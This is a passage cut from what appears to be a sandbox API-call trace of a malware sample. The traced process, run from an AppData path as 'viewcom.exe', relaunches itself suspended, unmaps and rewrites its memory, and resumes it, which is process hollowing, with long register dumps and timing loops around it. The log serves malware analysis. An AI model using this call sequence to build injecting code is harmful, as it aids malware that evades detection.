[277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
[0078.386] IsWow64Process (in: hProcess=0x3b0, Wow64Process=0x1d2f92c | out: Wow64Process=0x1d2f92c) returned 1
[0078.386] WriteProcessMemory (in: hProcess=0x3b0, lpBaseAddress=0x400000, lpBuffer=0x1ad0000*, nSize=0x1c000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x1ad0000*, lpNumberOfBytesWritten=0x0) returned 1
[0078.412] WriteProcessMemory (in: hProcess=0x3b0, lpBaseAddress=0x7ffdd008, lpBuffer=0x1d2f930*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x1d2f930*, lpNumberOfBytesWritten=0x0) returned 1
[0078.413] SetThreadContext (hThread=0x3ac, lpContext=0x1d2f640*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7ffdd000, Edx=0x0, Ecx=0x0, Eax=0x41211a, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
[0078.413] ResumeThread (hThread=0x3ac) returned 0x1
[0078.598] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xffffffff) returned 0x0
[0085.431] CloseHandle (hObject=0x3b0) returned 1
[0085.431] CloseHandle (hObject=0x3ac) returned 1
[0085.431] CloseHandle (hObject=0x0) returned 0
[0085.431] VirtualFree (lpAddress=0x1ad0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0085.432] GetTickCount () returned 0x1ba78
[0085.561] GetTickCount () returned 0x1baf5
[0085.561] GetTickCount () returned 0x1baf5
[0085.561] GetTickCount () returned 0x1baf5
[0085.561] GetTickCount () returned 0x1baf5
[0085.561] GetTickCount () returned 0x1baf5
[0085.665] GetTickCount () returned 0x1bb62
[0085.665] GetTickCount () returned 0x1bb62
[0085.665] GetTickCount () returned 0x1bb62
[0085.665] GetTickCount () returned 0x1bb62
[0085.775] GetTickCount () returned 0x1bbcf
[0085.775] GetTickCount () returned 0x1bbcf
[0085.775] GetTickCount () returned 0x1bbcf
[0085.775] GetTickCount () returned 0x1bbcf
[0085.775] GetTickCount () returned 0x1bbcf
[0085.817] GetTickCount () returned 0x1bbfe
[0085.836] GetTickCount () returned 0x1bc0d
[0085.837] GetTickCount () returned 0x1bc0d
[0085.872] GetTickCount () returned 0x1bc2d
[0085.907] GetTickCount () returned 0x1bc5b
[0085.923] GetTickCount () returned 0x1bc6b
[0085.923] GetTickCount () returned 0x1bc6b
[0085.938] GetTickCount () returned 0x1bc7b
[0086.016] GetTickCount () returned 0x1bcc9
[0086.032] GetTickCount () returned 0x1bcd8
[0086.032] GetTickCount () returned 0x1bcd8
[0086.047] GetTickCount () returned 0x1bce8
[0086.110] GetTickCount () returned 0x1bd26
[0086.125] GetTickCount () returned 0x1bd36
[0086.125] GetTickCount () returned 0x1bd36
[0086.141] GetTickCount () returned 0x1bd45
[0086.222] GetTickCount () returned 0x1bd93
[0086.222] GetTickCount () returned 0x1bd93
[0086.222] GetTickCount () returned 0x1bd93
[0086.235] GetTickCount () returned 0x1bda3
[0086.312] GetTickCount () returned 0x1bdf1
[0086.327] GetTickCount () returned 0x1be01
[0086.328] GetTickCount () returned 0x1be01
[0086.343] GetTickCount () returned 0x1be10
[0086.406] GetTickCount () returned 0x1be4f
[0086.421] GetTickCount () returned 0x1be5e
[0086.421] GetTickCount () returned 0x1be5e
[0086.437] GetTickCount () returned 0x1be6e
[0086.515] GetTickCount () returned 0x1bebc
[0086.539] GetTickCount () returned 0x1becb
[0086.539] GetTickCount () returned 0x1becb
[0086.552] GetTickCount () returned 0x1bedb
[0086.608] GetTickCount () returned 0x1bf19
[0086.624] GetTickCount () returned 0x1bf29
[0086.624] GetTickCount () returned 0x1bf29
[0086.639] GetTickCount () returned 0x1bf39
[0086.717] GetTickCount () returned 0x1bf87
[0086.718] GetTickCount () returned 0x1bf87
[0086.733] GetTickCount () returned 0x1bf96
[0086.733] GetTickCount () returned 0x1bf96
[0086.749] GetTickCount () returned 0x1bfa6
[0086.811] GetTickCount () returned 0x1bfe4
[0086.827] GetTickCount () returned 0x1bff4
[0086.827] GetTickCount () returned 0x1bff4
[0086.842] GetTickCount () returned 0x1c003
[0086.921] GetTickCount () returned 0x1c051
[0086.921] GetTickCount () returned 0x1c051
[0086.921] GetTickCount () returned 0x1c051
[0086.936] GetTickCount () returned 0x1c061
[0087.014] GetTickCount () returned 0x1c0af
[0087.038] GetTickCount () returned 0x1c0bf
[0087.038] GetTickCount () returned 0x1c0bf
[0087.045] GetTickCount () returned 0x1c0ce
[0087.109] GetTickCount () returned 0x1c10d
[0087.123] GetTickCount () returned 0x1c11c
[0087.123] GetTickCount () returned 0x1c11c
[0087.170] GetTickCount () returned 0x1c14b
[0087.224] GetTickCount () returned 0x1c17a
[0087.233] GetTickCount () returned 0x1c189
[0087.233] GetTickCount () returned 0x1c189
[0087.266] GetTickCount () returned 0x1c1a9
[0087.311] GetTickCount () returned 0x1c1d7
[0087.326] GetTickCount () returned 0x1c1e7
[0087.326] GetTickCount () returned 0x1c1e7
[0087.342] GetTickCount () returned 0x1c1f7
[0087.420] GetTickCount () returned 0x1c245
[0087.420] GetTickCount () returned 0x1c245
[0087.420] GetTickCount () returned 0x1c245
[0087.448] GetTickCount () returned 0x1c254
[0087.513] GetTickCount () returned 0x1c2a2
[0087.530] GetTickCount () returned 0x1c2b2
[0087.530] GetTickCount () returned 0x1c2b2
[0087.544] GetTickCount () returned 0x1c2c1
[0087.608] GetTickCount () returned 0x1c300
[0087.622] GetTickCount () returned 0x1c30f
[0087.622] GetTickCount () returned 0x1c30f
[0087.638] GetTickCount () returned 0x1c31f
[0087.716] GetTickCount () returned 0x1c36d
[0087.716] GetTickCount () returned 0x1c36d
[0087.732] GetTickCount () returned 0x1c37d
[0087.732] GetTickCount () returned 0x1c37d
[0087.748] GetTickCount () returned 0x1c38c
[0087.809] GetTickCount () returned 0x1c3cb
[0087.825] GetTickCount () returned 0x1c3da
[0087.825] GetTickCount () returned 0x1c3da
[0087.841] GetTickCount () returned 0x1c3ea
[0087.919] GetTickCount () returned 0x1c438
[0087.919] GetTickCount () returned 0x1c438
[0087.919] GetTickCount () returned 0x1c438
[0087.935] GetTickCount () returned 0x1c447
[0088.013] GetTickCount () returned 0x1c495
[0088.028] GetTickCount () returned 0x1c4a5
[0088.028] GetTickCount () returned 0x1c4a5
[0088.046] GetTickCount () returned 0x1c4b5
[0088.107] GetTickCount () returned 0x1c4f3
[0088.130] GetTickCount () returned 0x1c503
[0088.130] GetTickCount () returned 0x1c503
[0088.138] GetTickCount () returned 0x1c512
[0088.228] GetTickCount () returned 0x1c560
[0088.233] GetTickCount () returned 0x1c570
[0088.233] GetTickCount () returned 0x1c570
[0088.251] GetTickCount () returned 0x1c57f
[0088.418] GetTickCount () returned 0x1c62b
[0088.418] GetTickCount () returned 0x1c62b
[0088.418] GetTickCount () returned 0x1c62b
[0088.418] GetTickCount () returned 0x1c62b
[0088.419] GetTickCount () returned 0x1c62b
Thread:
id = 54
os_tid = 0xc4c
Thread:
id = 55
os_tid = 0xc50
Thread:
id = 56
os_tid = 0xc54
Thread:
id = 73
os_tid = 0xc58
[0074.035] GetTickCount () returned 0x190aa
[0075.033] GetTickCount () returned 0x19491
[0078.388] GetTickCount () returned 0x1a19b
[0078.388] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bfb58, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0078.388] _snwprintf (in: _Dest=0x21bf950, _Count=0x104, _Format="\"%s\" /scomma \"%s\"" | out: _Dest="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1C.tmp\"") returned 99
[0078.389] VirtualAlloc (lpAddress=0x0, dwSize=0x5b000, flAllocationType=0x3000, flProtect=0x4) returned 0x1af0000
[0078.393] WTSGetActiveConsoleSessionId () returned 0x1
[0078.393] WTSQueryUserToken (SessionId=0x1, phToken=0x21bfd7c*=0x1a39108) returned 0
[0078.394] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1C.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x21bf8e8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x21bfd64 | out: lpCommandLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1C.tmp\"", lpProcessInformation=0x21bfd64*(hProcess=0x3b4, hThread=0x3b8, dwProcessId=0xc78, dwThreadId=0xc7c)) returned 1
[0078.396] VirtualQueryEx (in: hProcess=0x3b4, lpAddress=0x400000, lpBuffer=0x21bf90c, dwLength=0x1c | out: lpBuffer=0x21bf90c*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c
[0078.396] VirtualProtectEx (in: hProcess=0x3b4, lpAddress=0x400000, dwSize=0x5b000, flNewProtect=0x40, lpflOldProtect=0x21bf928 | out: lpflOldProtect=0x21bf928*=0xa6579788) returned 0
[0078.396] NtUnmapViewOfSection (ProcessHandle=0x3b4, BaseAddress=0x400000) returned 0x0
[0078.396] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x400000, dwSize=0x5b000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
[0078.411] GetThreadContext (in: hThread=0x3b8, lpContext=0x21bf640 | out: lpContext=0x21bf640*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7ffd8000, Edx=0x0, Ecx=0x0, Eax=0x401390, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, 